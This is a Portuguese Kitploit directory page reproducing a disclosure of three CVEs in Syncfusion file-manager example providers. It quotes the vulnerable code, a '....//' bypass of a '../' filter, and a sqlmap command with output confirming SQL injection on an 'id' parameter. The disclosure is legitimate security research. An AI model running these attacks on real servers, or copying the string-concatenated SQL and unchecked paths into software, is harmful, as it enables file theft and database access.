Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-26563-26564-26565 — Divulgação técnica de três CVEs (2023-26563-26565) detalhando vulnerabilidades de leitura local de arquivos, travessia de diretórios e injeção SQL nos provedores do gerenciador de arquivos Syncfusion com código de exploração de prova de conceito. | Kitploit
Ferramentas/GitHubGitHub/rupturainfosec/cve-2023-26563-26564-26565
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubrupturainfosec/cve-2023-26563-26564-26565

CVE-2023-26563-26564-26565

Divulgação técnica de três CVEs (2023-26563-26565) detalhando vulnerabilidades de leitura local de arquivos, travessia de diretórios e injeção SQL nos provedores do gerenciador de arquivos Syncfusion com código de exploração de prova de conceito.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 11 mesesAinda não revisado

O fornecedor supostamente corrigiu todas as vulnerabilidades detalhadas a partir dos lançamentos feitos após 2024. A Ruptura InfoSecurity não verificou se essas correções são completas.

Veja os comentários do fornecedor em https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1.

CVE-2023-26563 - Leitura de Arquivo Local no ASPCore Filemanager

Repositório afetado: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Versões vulneráveis anteriores ao commit Git 7c8791084ff86d4a2c225756c490591f6e011a6c

A aplicação falha em verificar qualquer um dos caminhos fornecidos pelo usuário. Como resultado, é possível especificar sequências de travessia de diretório ("../") para listar arquivos em qualquer diretório, ler qualquer arquivo local, enviar qualquer arquivo para qualquer lugar no servidor e excluir qualquer arquivo no servidor.

No repositório ASP core, a maior parte da funcionalidade real é implementada em Models/PhysicalFileProvider.cs.

No caso de download, o parâmetro names é retirado diretamente da entrada do usuário na requisição.

root@kitploit:~
        public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
        {
            try
            {
                string physicalPath = GetPath(path);
                String extension;
                int count = 0;
                ...
                if (names.Length > 1)
                    DownloadZip(path, names);

                if (count == names.Length)
                {
                    DownloadFile(path, names);
                }

Este caminho é então usado diretamente na função Path.combine.

root@kitploit:~
protected virtual void DownloadFile(string path, string[] names = null)
{

    if (!string.IsNullOrEmpty(path))
    {
        try
        {
            path = (Path.Combine(contentRootPath + path, names[0]));
            HttpResponse response = HttpContext.Current.Response;
            response.Buffer = true;
            response.Clear();
            response.ContentType = "APPLICATION/octet-stream";
            string extension = System.IO.Path.GetExtension(path);
            response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
            response.WriteFile(path);
            response.Flush();
            response.End();
        }
        catch (Exception ex) { throw ex; }
    }
    else throw new ArgumentNullException("name should not be null");

}

Na maioria dos endpoints, eles tentaram corrigir isso removendo ../, mas isso pode ser trivialmente contornado usando algo como ....//, que após .replace("../", ""), resultará no ../ original.

CVE-2023-26564 - Leitura de Arquivo Local no EJ2 Node Filemanager

Repositório afetado: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Versões vulneráveis anteriores ao commit Git 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6

Embora a aplicação contenha uma regex para bloquear sequências de travessia de diretório, ela faz isso apenas às vezes. Como resultado:

  • No Windows, é possível listar arquivos em qualquer diretório, ler qualquer arquivo local, enviar qualquer arquivo para qualquer lugar no servidor e excluir qualquer arquivo no servidor.
  • No Linux, não é possível listar arquivos dentro de um diretório. No entanto, como é possível baixar diretórios (que são então servidos como ZIP), é possível para um usuário baixar diretórios para listar outros arquivos.

No repositório node, toda a funcionalidade é oferecida em um único arquivo: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js

Para baixar arquivos, a causa raiz é bastante autoexplicativa, com a aplicação confiando na entrada do usuário ao concatenar os caminhos dos arquivos:

root@kitploit:~
/**
 * Download a file or folder
 */
app.post('/Download', function (req, res) {
    replaceRequestParams(req, res);
    var downloadObj = JSON.parse(req.body.downloadInput);
    var permission; var permissionDenied = false;
    downloadObj.data.forEach(function (item) {
        var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
        permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
        if (permission != null && (!permission.read || !permission.download)) {
            permissionDenied = true;
            var errorMsg = new Error();
            errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
            errorMsg.code = "401";
            response = { error: errorMsg };
            response = JSON.stringify(response);
            res.setHeader('Content-Type', 'application/json');
            res.json(response);
        }
    });
    if (!permissionDenied) {
        if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
            var file = contentRootPath + downloadObj.path + downloadObj.names[0];
            res.download(file);
        } else {
            var archive = archiver('zip', {
                gzip: true,
                zlib: { level: 9 } // Sets the compression level.
            });
            var output = fs.createWriteStream('./Files.zip');
            downloadObj.data.forEach(function (item) {
                archive.on('error', function (err) {
                    throw err;
                });
                if (item.isFile) {
                    archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
                }
                else {
                    archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
                }
            });

CVE-2023-26565 - Injeção SQL no Provedor de Arquivos do Banco de Dados SQL Server

Repositório afetado: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Versões vulneráveis anteriores ao commit Git d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6

No repositório SQL server, a maior parte da funcionalidade real é implementada em Models/SQLFileProvider.cs.

A injeção SQL é bastante padrão e frequente dentro do repositório afetado e pode ser explorada com um comando simples do sqlmap:

root@kitploit:~
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:31:52 /2023-04-03/

[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)

Exemplos de trechos de código vulneráveis:

root@kitploit:~
try
{
    SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
root@kitploit:~
try
{
    SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}

A injeção SQL resulta em acesso total de leitura ao banco de dados, no que diz respeito a como as permissões estão configuradas para a conta de usuário.

Baixar ferramenta